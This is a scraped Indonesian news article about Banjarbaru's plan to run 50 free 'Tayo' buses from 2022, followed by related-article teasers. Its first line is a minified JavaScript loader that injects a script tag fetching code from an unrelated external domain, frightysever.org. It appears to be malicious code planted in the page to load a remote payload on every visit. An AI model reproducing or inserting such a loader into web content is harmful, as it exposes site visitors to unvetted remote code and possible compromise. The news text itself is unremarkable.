(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru meningkatkan sarana dan prasarana pelayanan publik, khususnya di tahun 2022 mendatang akan ada 50 bus medium ‘Tayo’ yang akan mengaspal di jalanan Kota Banjarbaru.
Wali Kota Banjarbaru, Aditya Mufti Ariffin mengungkapkan ketika dirinya bertolak ke Malang, Jawa Timur pada pekan lalu salah satu tujuannya menemui vendor penyedia bus.
“Insyaallah di tahun depan bakal ada trans Banjarbaru,” ungkapnya
“Alhamdulillah kita mendapat bantuan 50 bus medium, insyaallah tahun depan sudah akan beroperasi,” tambah Wali Kota Banjarbaru.
Baca juga: Sukses Rilis Single Kedua, Warganet Sebut Amel Makin Mirip dengan Almarhum Nike Ardilla
Tak tanggung-tanggung ada 50 unit bus medium yang akan menghiasi jalanan Kota Banjarbaru di tahun 2022 mendatang. Pemko juga merencanakan ketika bus “Tayo” sudah mengaspal di jalanan, direncanakan 3 tahun awal beroperasi untuk digratiskan.
“Ulun insyallah sudah meminta dengan Kementrian Perhubungan (Kemenhub) ketika 50 buah Tayo sudah memutar di Kota Banjarbaru, kita minta kepada Mentri untuk digratiskan selama 3 tahun, dengan tujuan merubah budaya masyarakat,” kata Aditya.
Menurut Aditya tujuan dirinya meminta menggratiskan selama 3 tahun itu untuk merubah budaya masyarakat yang biasa berpergian menggunakan mobil dan motor pribadi, agar dibiasakan untuk naik transportasi umum.
Diakuinya, dirinya bertolak langsung ke Malang untuk menemui vendor penyedia bus untuk melakukan pembicaraan terkait layanan bus Tayo di Kota Banjarbaru.
Baca juga: Wisata Air Danau Seran Banjarbaru ‘Minta’ Nyawa Seorang Mahasiswa
“Ulun datang ke sana langsung untuk meminta kepada vendornya bahwa yang bekerja harus warga Banjarbaru baik sopir, operator dan lainnya harus warga Banjarbaru. Alhamdulillah perusahaan penyedia busnya bersedia mengabulkan dan mudah-mudahan ini menjadi lapangan kerja dan membawa kesejahteraan bagi warga Banjarbaru,” ujarnya.
Sementara itu, akankah angkutan konvensional terancam?. Diterangkan Adit, Pemko sudah merencanakan untuk angkutan mikrolet hijau ‘taksi hijau’ akan menjadi angkutan feeder yang dimana taksi ini akan difungsikan sebagai pengangkut penumpang dari dalam ke luar.
“Untuk taksi hijau itu akan menjadi transprotasi feeder yang akan mengangkut penumpang dari dalam dan akan diangkut ke arah halte-halte bus yang akan dilalui,” jelas Wali Kota.
Dia berharap, semua pihak terkait serta masyarakat mendukung program ini. Sehingga, dapat terealisasi dengan baik guna meningkatkan layanan transportasi massal. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More
KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More
This website uses cookies.